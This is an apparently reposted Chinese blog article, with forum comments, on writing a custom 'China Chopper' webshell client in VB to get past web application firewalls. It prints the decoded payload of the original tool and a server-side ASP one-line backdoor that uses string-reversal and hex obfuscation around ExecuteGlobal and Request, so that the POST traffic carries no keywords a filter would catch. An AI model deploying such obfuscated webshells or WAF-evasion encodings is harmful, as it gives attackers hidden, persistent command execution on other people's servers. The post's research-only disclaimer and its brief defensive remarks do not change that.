php vbcrlf,我是这样打造自已的“菜刀”的,让一句话飞一会

本文内容仅供研究,请勿用于非法用途!!!

很久很久以前,我在管理服务器的时候总喜欢放个一句话,然后菜刀连之,管理网站又方便又简单。

后来X客、X客、X客…… 也使用同样的方法“管理”网站和服务器。网站木马的查杀遇到了不少困难,各种隐藏、编码。

再后来研究攻击的同学都改行做防御了,于是狗、神、盾…… 出现并且普及了。为了方便我也在服务器上装了X狗,虽然起到了一定的作用,但是菜刀也就没法用了。用OD修改了菜刀,但用了不长时间又不能用了(想必用此方法的坏同学不少),多次修改后发现关键代码都写到服务端了。这其间给自己带来了不少麻烦,于是决定研究一下菜刀和X狗(神、盾没研究过,原理应该相近);于是就有了这篇文章,方便遇到同样问题的网管朋友解决问题。

本文没什么技术,也没有什么水平,仅供消遣大牛勿喷。

下面开始我们的自写菜刀之旅吧……

工具:任意一面向对象的编程语言(我用的是VB)

原版菜刀(不好意思了,为了加快打造进程,拿来截一下数据,拿来主义……)

WinSock Expert(任意可截数据包的工具都行,不一定非要这个)

ASP+.NET+PHP运行环境(至于JSP、CFM等,自已发挥吧)

(BurpSuite-Repeater)/(WinSock Expert-NC)/(Firefox-Hackbar)(可以Post数据的都行,方便调试的)

SQL(这个是必须的,至少要懂ACCESS)

步骤:

Step1:(VB)新建窗体,在窗体上画好控件。要用到的控件有SSTab、ListView、TextBox、TreeView、PictureBox、CommonDialog、ComboBox、StatusBar、CommandButton、Inet、ImageList、Label、Adodc、RichTextBox、Timer。

1、主窗体布局

imgpxy.php?url=gpj.921954030221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

2、文件管理窗体布局

imgpxy.php?url=gpj.952974030221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

3、数据库管理窗体布局

imgpxy.php?url=gpj.596905030221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

4、文件编辑窗体布局

imgpxy.php?url=gpj.236175030221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

5、虚拟终端窗体布局

imgpxy.php?url=gpj.656395030221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

Step2:截取原版菜刀和服务端的往来数据包加以分析

原菜刀Post的数据(ASP)如下:

imgpxy.php?url=gpj.814530130221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

其中有N多WAF检查的关健字,我的目标是让Post的数据中不存在任何关健字。

原菜刀Post到服务端的数据经解码后如下(我使用的服务端是):z=Execute("Execute(""On+Error+Resume+Next:Function+bd(byVal+s):For+i=1+To+Len(s)+Step+2:c=Mid(s,i,2):If+IsNumeric(Mid(s,i,1))+Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End+If""&chr(10)&""Next:End+Function:Response.Write(""""->|""""):Execute(""""On+Error+Resume+Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|

多次思量之后我决定将bd(Str)这个函数写进服务端,经过改进后服务端代码如下:

Function MorfiCoder(Code)

MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)

End Function

Function bd(ByVal s)

For i = 1 To Len(s) Step 2

c = Mid(s, i, 2)

If IsNumeric(Mid(s, i, 1)) Then

bd = bd & Chr("&H" & c)

Else

bd = bd & Chr("&H" & c & Mid(s, i + 2, 2))

i = i + 2

End If

Next

End Function

ExecuteGlobal MorfiCoder("))))/*/z/*/(tseuqer(db(redoCifroM( etucexe")

%>

客户端的Post的代码如下:Post("z=" & be(DeMorfiCoder(Data)))——————伪代码

be(str)为bd(str)的编码函数;

DeMorfiCoder(str)为MorfiCoder(str)的编码函数;

其实MorfiCoder(Code)和bd(ByVal s)用一个就可达到满意的效果了,我使用两个只是画蛇添足而已。另外也不仅仅只限这两个函数,只要可以编码字符串并可写出解码还原的函数都可以(注意传输过程中的转义等等)。

至此只剩下服务端一个关键字,而且在Post的数据中也不再有任何关键字了(原菜刀的z0、z1等也可以通过更改Post数据来替换)。

imgpxy.php?url=gpj.105560130221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

Step3:接收返回数据,进行字串处理

原版菜刀返回数据的格式(Readme.txt中也有):

->|c:\inetpub\wwwroot C:D:E:F:G:H:I:J:K:|

我并没有采用这种格式,我是将返回的数据前加一段字符串以区分获取目录、读写文件等不同的X作。

我使用的格式是:

Step1{||}c:\inetpub\wwwroot{||}C:\D:\E:\F:\G:\H:\I:\J:\K:\{||}

StepX用于区分不同的X作,之后将字符串以{||}分割存入数组以进行下一步X作。

在获得返回数据并具存入数组后,就可以开始TreeView和ListView等事件的编写了。这些都依照原版菜刀,在这个过程中我也加入了菜刀不具有的功能,比如查询主机的地理位置、更改文件属性等。

最终效果:

1、客户端列表

imgpxy.php?url=gpj.368191130221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

2、文件列表

imgpxy.php?url=gpj.039222130221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

3、数据库管理

imgpxy.php?url=gpj.553803130221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

4、文件编辑

imgpxy.php?url=gpj.888433130221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

5、虚拟终端

imgpxy.php?url=gpj.158573130221113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

不知道现在的WAF有没有拦截返回数据的,我使用的菜刀只对数据进行了单向编码;如果返回数据中也有敏感字符的话,是不是也会被拦呢…… 那时返回数据也得进行编码了,客户端接收到数据后再解码还原。至于服务端代码,除非完全杀了Eval、Execute、ExecuteGlobal、assert、include……否则是不能赶尽杀绝的(最根本的方案是厂商在Web容器中检测危险代码,容器环境中的检测均会出现N多绕过——我的愚见)。

如果您是程序猿的话,我所写的这些对您来说简直是垃圾中的垃圾,勿喷……*^_^*

相关讨论:

1#

Csser | 2013-11-11 18:51

看起来很nice

2#

NetSeif | 2013-11-11 18:52

不明觉厉!

3#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-11-11 18:55

改改界面就行了,略改下关键字毕竟脚本都已经写好了。

4#

MeirLin (心若在~梦就在~) | 2013-11-11 18:55

加闪电的节奏、

5#

国士无双 (你这个是跟我闹呐?) | 2013-11-11 20:05

非常好,关注之~

6#

insight-labs (Root Yourself in Success) | 2013-11-11 20:29

@园长

写个java的吧……

7#

汉时明月 (?......核审在正长超名签 :) | 2013-11-11 22:57

大牛啊,能否分享一下vb源码

8#

Matt | 2013-11-11 23:08

其实没必要重写UI,像剑心说的 写个中转程序 里面修改下就哦了

9#

冷冷的夜 (从前有个人,他不喜欢我;后来,他死了) | 2013-11-11 23:12

nice,球代码学习一下

10#

nauscript (@VIP @齐迹 @园长 @ACGT @z7y @小胖子@PX1624) | 2013-11-11 23:20

赞一个

11#感谢(1)

船长 (0day溢出大量放送,点击右边感谢,马上送出) | 2013-11-11 23:22

学习 求源码一份

12#

落叶纷飞 (im luoye,Once the 00day) | 2013-11-12 09:11

楼主是BK的?

13#

RedFree (才发现了,自己是自己的神器。) | 2013-11-12 09:39

@落叶纷飞 何为BK?不解其意。

14#

逝情 (弱爆了弱爆了) | 2013-11-12 09:57

不错,收集了。

15#

乌帽子 (儿啊,到大城市切莫乱搞女人啊,染上什么病回来传染给) | 2013-11-12 10:43

好山寨,代码不会写怎么办?

16#

RedFree (才发现了,自己是自己的神器。) | 2013-11-12 11:14

@乌帽子 Post的数据包全部山寨于原菜刀,只要做好字符串、各种编码的处理就行了。

17#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-11-12 16:19

嗯,自己动手!丰衣足食!严重鼓励!

18#

RedFree (才发现了,自己是自己的神器。) | 2013-11-12 16:35

@核攻击 鼓励也要用“严重”这个词,我都有点害怕了……

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值